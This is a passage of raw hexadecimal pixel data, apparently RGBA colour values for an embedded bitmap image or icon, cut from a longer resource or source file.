C0FFC0C0C0FFBEBFBFFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFC0BFBFFFC1BFBFFFC1C0\n      C0FFC1C0C0FFC0BEBEFFC0BEBEFFC0BEBEFFC0BEBEFFC0BEBEFFC0BEBEFFC1C0\n      C0FFC1C0C0FFC1BFBFFFC0BFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFF4D8F37FF54C32AFF53BE2AFF54BE\n      2BFF53BE2CFF53BF2CFF53BF2CFF53BF2CFF53BF2CFF53BF2CFF53BF2CFF53BE\n      2CFF54BE2BFF53BE2AFF55C42BFF628655FF538423FF5FB008FF5EAC08FF5EAD\n      09FF52A500FFEBFADDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB3DB88FF57A8\n      00FF5DAD09FF5EAC09FF60B207FF66804AFF24C6C0FF10FFFFFF11FFFFFF12FF\n      FFFF11FFFFFF11FFFFFF11FFFFFF11FFFFFF11FFFFFF11FFFFFF11FFFFFF11FF\n      FFFF12FFFFFF11FFFFFF0FFFFFFF48A6A2FF267037FF0C922AFF00881BFFD1ED\n      D5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFD1EDD6FF00881AFF0D9429FF4C7455FF4E8C38FF50B22BFF51AF2CFF51B0\n      2DFF52B02CFF52B02EFF52B02EFF52B02EFF52B02EFF52B02EFF52B02EFF52B0\n      2CFF51B02DFF50AF2CFF51B22AFF618554FF568024FF5A9E0AFF5B9D0CFF5C9D\n      0EFF509600FFE2EDD5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFADCE86FF5499\n      02FF5C9D0EFF5B9D0CFF5BA00AFF667E48FF24C2C0FF09FFFFFF0CFFFFFF0CFF\n      FFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFF\n      FFFF0DFFFFFF0CFFFFFF0AFFFFFF46A7A5FF267235FF0E8B26FF008118FFC4DF\n      CBFFFFFFFFFFFFFFFFFFFFFFFFFFABD7B4FFA6D2AFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFC4DFCBFF008118FF0D8D26FF4D7554FF4C8434FF4BA926FF4AA628FF4DA7\n      29FF4CA72AFF4CA72AFF4CA72AFF4CA72AFF4CA72AFF4CA72AFF4CA72AFF4CA7\n      2AFF4BA729FF4AA627FF4AAA26FF5F8052FF537824FF59950AFF5A960DFF5B95\n      0EFF4E8E00FFE1EAD4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFACC985FF5291\n      03FF5B950EFF58940DFF5A970AFF647949FF24BDBCFF0BFFFFFF0DFFFFFF0FFF\n      FFFF0FFFFFFF0EFFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF0EFFFFFF0FFF\n      FFFF0EFFFFFF0DFFFFFF09FFFFFF48A2A1FF257033FF0C8924FF008017FFC4DE\n      C9FFFFFFFFFFB4D8BAFFA6D3AEFF6AB779FF8CC697FFF9FCFAFFD6EAD9FFFFFF\n      FFFFC4DFC9FF008016FF0C8B24FF4A7453FF5D8B4CFF6AB54EFF6AB34EFF6BB3\n      50FF6BB350FF6BB350FF71B650FF7DBD50FF7DBD50FF71B650FF6BB350FF6BB3\n      50FF6CB350FF69B34EFF6CB74EFF6A845FFF537324FF588F0AFF598F0DFF5A90\n      0EFF4D8800FFE1EAD4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFADC686FF518B\n      03FF5A8F0EFF578E0CFF579109FF647649FF24BBB9FF0AFFFFFF0DFFFFFF0DFF\n      FFFF0FFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0FFF\n      FFFF0EFFFFFF0BFFFFFF0AFFFFFF49A09FFF256F32FF098822FF007D15FFC7DF\n      CCFFF7FAF8FF1D8F30FF1D9032FF1F8F32FF0F8824FF0D8723FF59AC65FFFFFF\n      FFFFC5DECAFF007D14FF0A8A21FF497351FFC2BEC4FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFE7F0FFFF3A8FFFFF3D8FFFFFE9F1FFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A0A3FF537225FF588D09FF578C0DFF588D\n      0DFF4D8500FFE1E9D4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFABC486FF5188\n      03FF588D0EFF588C0CFF588E09FF637549FF25B9B9FF09FFFFFF0DFFFFFF0DFF\n      FFFF0EFFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF0FFF\n      FFFF0EFFFFFF0CFFFFFF09FFFFFF499E9EFF256F32FF098821FF007D12FFC4DD\n      C8FFFFFFFFFFC3E0C7FF389C49FF259339FF2C963DFF379C49FF95C99CFFFFFF\n      FFFFC4DDC8FF007D13FF098920FF497350FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF2E88FAFF1D7CFBFF1C7CFBFF358CF9FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF537224FF5C910CFF598D0DFF578D\n      0EFF4D8500FFE1E9D4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFABC486FF5188\n      03FF598E0EFF588D0CFF588E09FF637549FF20BEB9FF01FFFFFF02FFFFFF00FF\n      FFFF0FFFFFFF03FFFFFF04FFFFFF01FFFFFF00FFFFFF09FFFFFF10FFFFFF0FFF\n      FFFF0EFFFFFF0CFFFFFF09FFFFFF499E9EFF247033FF0C8C26FF008014FFC4DD\n      C8FFFFFFFFFFEFF6F0FF56AA63FF29953BFF389D49FF319943FFD5E8D7FFFFFF\n      FFFFC4DDC8FF007D13FF098920FF497350FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF3189F9FF1C7CFBFF1C7BFBFF368DF9FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF557225FF5F950EFF5F9311FF5F92\n      11FF4D8300FFE1E9D4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFABC486FF5188\n      03FF598E0EFF588D0CFF588E09FF637549FF8C83C4FF943877FF950000FFD55F\n      4CFF0049FFFFAE5E98FF870000FFC14E40FFC9AAFFFF55AFE5FF09FFFFFF0FFF\n      FFFF0EFFFFFF0CFFFFFF09FFFFFF499E9EFF257033FF0E8F28FF00861CFFC5DF\n      CAFFFFFFFFFFFAFCFBFF0D8622FF3E9F4FFF1B8D2EFF138A27FFF8FAF8FFFFFF\n      FFFFC4DDC8FF007D13FF098920FF497350FFC6BFB9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFF0F5FEFF4897FAFF4997FAFFF4F8FEFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A19EFF567525FF62960FFF639412FF6496\n      14FF588E03FFE2EBD6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAAC386FF5187\n      03FF578C0DFF568B0BFF588F09FF637549FF792A20FFD0AFC1FF978CF2FFD59A\n      93FF002AFFFFB595B8FFC9A9C3FF958AF0FF981B17FF4C7164FF09FFFFFF0EFF\n      FFFF0DFFFFFF0BFFFFFF09FFFFFF499E9EFF257235FF0F912BFF01891FFFC6E0\n      CBFFFFFFFFFFFFFFFFFF6AB576FF47A355FF2F9841FF70B87BFFFFFFFFFFFFFF\n      FFFFC4DDC8FF007C11FF098A20FF497350FF3870B8FF3692FEFF3892FAFF3792\n      FBFF3892FBFF3892FBFF3D94FBFF4A9BFCFF4A9BFAFF3B93FAFF368FFAFF358F\n      FAFF3691FAFF3691FAFF3594FFFF54739DFF567526FF659A10FF669813FF6799\n      16FF5C9105FFE3ECD7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB0CA8AFF5C90\n      09FF649614FF649712FF689D0FFF647649FF5F63C4FF6A68FFFF6FBEFFFF896A\n      DEFF695B4CFF8F5EA6FF6B95FFFF7298FFFF756DFFFF47BAFFFF10FFFFFF15FF\n      FFFF14FFFFFF12FFFFFF0FFFFFFF499E9EFF267235FF10952FFF028B22FFC6E0\n      CCFFFFFFFFFFFFFFFFFFB6DCBCFF43A655FF35A049FFFFFFFFFFFFFFFFFFFFFF\n      FFFFC6E0CCFF018A22FF0F972FFF497353FF336DB8FF2D8FFFFF2F8EFCFF308E\n      FCFF318FFCFF318FFCFF318FFCFF318FFCFF318FFCFF318FFCFF318FFCFF328F\n      FCFF308EFCFF2E8DFCFF2D91FFFF50719DFF577725FF699C10FF689A13FF6999\n      15FF5D9304FFE4EBD7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB4CB8BFF6196\n      0AFF699A15FF689A13FF6B9D0FFF647549FF5960C7FF6973FFFF639DFFFF8160\n      D9FF529A7CFF8563A7FF6788FFFF678CFFFF6C68FFFF43B8FFFF12FFFFFF16FF\n      FFFF15FFFFFF13FFFFFF0FFFFFFF499E9EFF257235FF109731FF028D24FFC6E1\n      CDFFFFFFFFFFFFFFFFFFFFFFFFFF57B068FF6FBB7CFFFFFFFFFFFFFFFFFFFFFF\n      FFFFC6E1CDFF028D24FF0F9830FF497451FF336EB8FF2E93FFFF3090FCFF3192\n      FCFF3291FCFF3291FCFF3291FCFF3291FCFF3291FCFF3291FCFF3291FCFF3291\n      FCFF3190FCFF2F91FCFF2E94FFFF50719CFF577523FF699C0BFF699C0EFF6A9B\n      10FF5F9400FFE4EED6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB4CD88FF6296\n      06FF6A9C10FF699A0EFF6B9E0AFF647547FF7A261FFF865AB6FFBCB4FBFFF7BB\n      9BFF003FFFFFB98EBEFF9C80D0FFC5B7E6FFB72E15FF56766DFF09FFFFFF10FF\n      FFFF0FFFFFFF0DFFFFFF0AFFFFFF479D9DFF237334FF0B972FFF008E22FFC6E1\n      CDFFFFFFFFFFFFFFFFFFFFFFFFFFC9E7CFFFDFF0E2FFFFFFFFFFFFFFFFFFFFFF\n      FFFFC6E1CDFF008E21FF0A9930FF477452FF3D74BFFF4DA1FFFF4B9DFEFF4C9E\n      FEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9E\n      FEFF4C9EFEFF4B9DFEFF4BA0FFFF5D80ACFF5D7B30FF80AB33FF7AA731FF7CA8\n      33FF72A124FFEAF1DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBED399FF75A3\n      29FF7AA833FF7BA731FF7DA932FF708355FF7D85C9FFD5A9ABFF9D221BFFD182\n      71FF2165FFFFB68EB0FF9F1F11FFA15F80FFBDBBFFFF84D1E3FF2DFFFFFF34FF\n      FFFF33FFFFFF32FFFFFF32FFFFFF55ACACFF30783EFF33A64EFF229B3FFFD4EB\n      D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFD3EBD8FF229B3FFF32A54CFF55815DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C6C6FFC6C6\n      C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6\n      C6FFC6C6C6FFC5C5C6FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0C0FFC0C0\n      C0FFBFC0C0FFBFC0C0FFBFBFBFFFFFFFFFFF9F8457FFE7B96CFFDEB066FFDEB1\n      65FFDDB067FFDDB067FFDDB067FFDDB067FFDDB067FFDDB067FFDDB067FFDDB0\n      67FFDEB165FFDFB067FFEBBC6EFF8D7D66FF896152FFBB765AFFB77459FFB775\n      58FFB16B4DFFFAECE8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFA0EEFF3E19\n      CDFF4724D0FF4624D1FF4824D6FF5F548AFF8E543CFF923E1DFF933F1FFF9341\n      1FFF944020FF944020FF944020FF944020FF944020FF944020FF944020FF9440\n      20FF93411FFF93401EFF923D1CFF936D5FFFB18452FFFFB05CFFFFAC5AFFFFAD\n      5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD5BFFFFAD\n      5BFFFFAD5BFFFFAC5AFFFFB25CFF988063FF8D6C4BFFB9864EFFB5844DFFB585\n      4EFFB5854EFFB5854EFFB5854EFFB5854EFFB5854EFFB5854EFFB5854EFFB585\n      4EFFB5854EFFB5844DFFBC894EFF857461FF8A604FFFAF6B50FFAD6B50FFAD6C\n      51FFA86143FFEFE2DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA697E4FF3612\n      C3FF3F1DC5FF3E1CC5FF3E1AC9FF5B4F8CFF874C35FF8A3818FF8B3A1AFF8B3A\n      1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B3B1BFF8B39\n      17FF8B3818FF8B3919FF883715FF8D6758FFB58054FFF89E59FFF49D59FFF49D\n      5AFFF49E5BFFF49E5BFFF49E5BFFF49E5BFFF49E5BFFF49E5BFFF49E5BFFF49E\n      5AFFF49D5AFFF49D59FFFBA05AFF9C7E63FF7D5B3FFFA66839FFA16638FFA267\n      3BFFA2683AFFA2683AFFA2683AFFA2683AFFA2683AFFA2683AFFA2683AFFA268\n      3AFFA2673BFFA16638FFAA6A3BFF7C6A5BFF875C4BFFAD6648FFA9654BFFAB66\n      4CFFA45C3EFFEDE1DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA292E2FF2F0A\n      BFFF3A15C2FF3715C3FF3711C7FF594D8AFF844933FF853311FF883314FF8736\n      14FF873516FF893716FF893716FF893716FF893716FF893716FF893512FF8742\n      3DFF8A4031FF863211FF85300FFF8D6757FFB37853FFF89559FFF4965AFFF595\n      5BFFF5965AFFF5965AFFF5965AFFF5965CFFF5965CFFF5965AFFF5965AFFF596\n      5AFFF5955BFFF4945AFFFB975AFF9A7964FF744C36FF96522AFF92512AFF9452\n      2DFF93522CFF93522CFF95522CFF95522CFF95522CFF95522CFF93522CFF9352\n      2CFF94532DFF92502AFF99522BFF766155FF845846FFA96143FFA76146FFA962\n      46FFA25838FFEEE0DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA091E2FF2A04\n      BEFF3311C2FF330EC0FF300BC5FF584A89FF82462FFF842D0CFF842F0EFF8632\n      11FF853110FF853110FF853310FF853210FF853210FF853310FF862F0AFF8247\n      5BFF873E35FF852E0BFF822B0AFF8B6555FFB26D4BFFF6854BFFED834BFFEE83\n      4DFFEE844CFFEE844CFFF0854DFFF1854EFFF1854EFFEF844DFFEE844CFFEE84\n      4CFFEE834DFFED824AFFF9874BFF9A735FFFBFC7C9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA2A3FF835845FFA86041FFA65F42FFA860\n      43FFA15636FFEDE0DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F90E2FF2602\n      BDFF320DC1FF2F0BBFFF2D08C5FF554988FF82442CFF812B09FF822D0CFF832E\n      0CFF852F0DFF842F10FF852F0FFF842E0EFF842F0FFF842F0FFF842F10FF852E\n      09FF832D0AFF822C0BFF812807FF8C6455FFB8BFC3FFFFFFFFFFFAFBFBFFFAFB\n      FBFFFAFBFBFFFBFBFBFFEFFBFBFFE2FAFBFFE0F8FBFFF3FBFBFFFBFBFBFFFAFB\n      FBFFFAFBFBFFFAFBFBFFFFFFFFFF9EA2A3FFB4B7B6FFFFFFFFFFFCFFFEFFFCFF\n      FEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFF\n      FEFFFCFFFEFFFCFFFEFFFFFFFFFF9A9A9AFF845847FFAC6447FFA76144FFA761\n      44FFA15738FFEDE0DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F90E2FF2703\n      BDFF320EC1FF300CC1FF2E09C5FF554988FF7C4028FF852A00FF842F0CFF842C\n      07FF842C08FF842E0EFF7A2201FF863008FF842D0EFF852C05FF842F0FFF8530\n      0FFF842F0EFF822C0BFF812807FF8C6454FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFE5F6FCFFA6AD81FFB0B48FFFECF8FEFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB4B7B6FFFFFFFFFFFCFFFEFFFCFF\n      FEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFFFEFFFCFF\n      FEFFFCFFFEFFFCFFFEFFFFFFFFFF9A9A9AFF855947FFAE674AFFAC684BFFAB67\n      4AFFA05738FFECE0DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F90E2FF2703\n      BDFF320EC1FF300CC1FF2D09C5FF554988FFA6A8DAFF8A597DFF8A2800FF7C69\n      CEFF8B659EFF7B1E00FFD7BEB9FF9A98FFFF822400FF825B99FF87320EFF842F\n      0EFF832E0DFF852E0BFF822B0AFF8C6354FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFE1F0F7FFCDDDA6FFDEECC0FFE1F0F6FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFC9CCBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A59EFF865B4AFFB06A4DFFAE6B4FFFAF6C\n      50FFA96243FFEEE2DCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F90E2FF2602\n      BCFF300DC0FF2E0BBEFF2E09C4FF564988FF92552FFFD8CEE5FF9577B5FF8C72\n      C1FFA889ACFFD8CEE4FF8B6DB5FF8E3200FF812A0BFF873517FF822C0DFF832E\n      0BFF822A05FF83485DFF863828FF8B6354FFB8BEBFFFFFFFFFFFF9FBFBFFF9FB\n      FBFFF9FBFBFFFAFBFBFFF1FBFBFFDCF5FBFFDFF3FBFFF7FBFBFFF9FBFBFFF9FB\n      FBFFF9FBFBFFF9FBFBFFFFFFFFFF9DA0A2FF2A2183FF2114B3FF2213AEFF2316\n      AEFF2416AEFF2417AEFF2417AEFF2417AEFF2314AEFF2013ADFF1F12ABFF1F12\n      ABFF1F10ADFF1F11ADFF2314B7FF4E4A7CFF865B4AFFB26E51FFB06E52FFB16F\n      53FFAB6545FFEFE2DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA392E4FF3109\n      C3FF3D14C6FF3E12C7FF3E0FCDFF584988FF8077CDFF8574E6FF8F83E9FF604F\n      DDFF6F5FE3FF8A7BE6FF8C81EAFF8D88FEFF8F3703FF8E3A13FF8D3912FF8E45\n      35FF8F432BFF8E370AFF8F390CFF8D6454FFB26D4DFFF88E57FFEF8A56FFEF8B\n      57FFEF8B57FFEF8B58FFF18B58FFF28D59FFF28B56FFF08955FFEF8754FFEF87\n      54FFEF8954FFEF8954FFFA9059FF9A725FFF3F368AFF4337C0FF4236BBFF4337\n      BAFF4436BCFF4438BCFF4438BCFF4438BCFF4438BCFF4438BCFF4538BCFF4337\n      BCFF4337BBFF4235BBFF4337C4FF575382FF875C4BFFB47153FFB27055FFB171\n      56FFAD6749FFEFE4DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA894E5FF3A0A\n      C6FF4215C9FF4013C9FF400FCFFF584989FF8278CDFF8C7CE7FF8B7CE9FF624F\n      DEFF7262E4FF9084E8FF8A7AE8FF8E87FEFF923A05FF924017FF923E12FF9052\n      55FF934A32FF913D10FF903B0FFF8D6454FFB37758FFF89C6AFFF69A6AFFF699\n      6BFFF69B6BFFF69B6BFFF69B6BFFF69B6BFFF69B6BFFF69B6BFFF69B6BFFF69B\n      6BFFF69A6BFFF69A69FFFC9E6BFF9A7566FF3D358AFF4234C1FF4135BAFF4235\n      BCFF4135BCFF4135BCFF4135BCFF4335BCFF4335BCFF4135BCFF4135BCFF4235\n      BCFF4236BCFF3F33BAFF4434C6FF555280FF865C49FFB57155FFB37154FFB270\n      55FFAE6749FFF0E4DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA791E6FF3705\n      C8FF4110CBFF3F0ECAFF410AD0FF554787FF8E502DFF9581D7FFE0CAC2FF8F72\n      C2FFA381AAFF9C86D3FFDDCBCAFF983E00FF913D0FFF913F12FF913F12FF923E\n      0CFF913D0DFF923D0EFF923C0BFF8D6452FFB57558FFFA9C6BFFF69C69FFF69B\n      6AFFF69B6AFFF69B6AFFF69B6AFFF69B6AFFF69B6AFFF69B6AFFF69B6AFFF69B\n      6AFFF69C6AFFF69A69FFFE9E6DFF997564FF403A94FF6156D0FF5C51CBFF5D53\n      CBFF5D52CBFF5D52CBFF5D52CBFF5D52CBFF5D52CBFF5D52CBFF5D52CBFF5D52\n      CBFF5D53CBFF5C52CBFF6054D2FF5F5C90FF8D6250FFC0876CFFBC8469FFBD84\n      6AFFB8795FFFF5E9E5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB4A2EBFF5028\n      CFFF5933D2FF5831D2FF5A32D6FF635596FF9C98D7FFDAB39BFF9C430DFF9B83\n      D3FFA985A9FFA6541AFFA381B0FFD4D1FFFFA04E22FFA45934FFA45934FFA458\n      34FFA45833FFA45732FFA35832FF90685AFFBA7B5EFFFDAB82FFF9A77DFFF9A8\n      7DFFF9A87DFFF9A87DFFF9A87DFFF9A87DFFF9A87DFFF9A87DFFF9A87DFFF9A8\n      7DFFF9A87DFFF9A77BFFFDAA81FFA98371FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      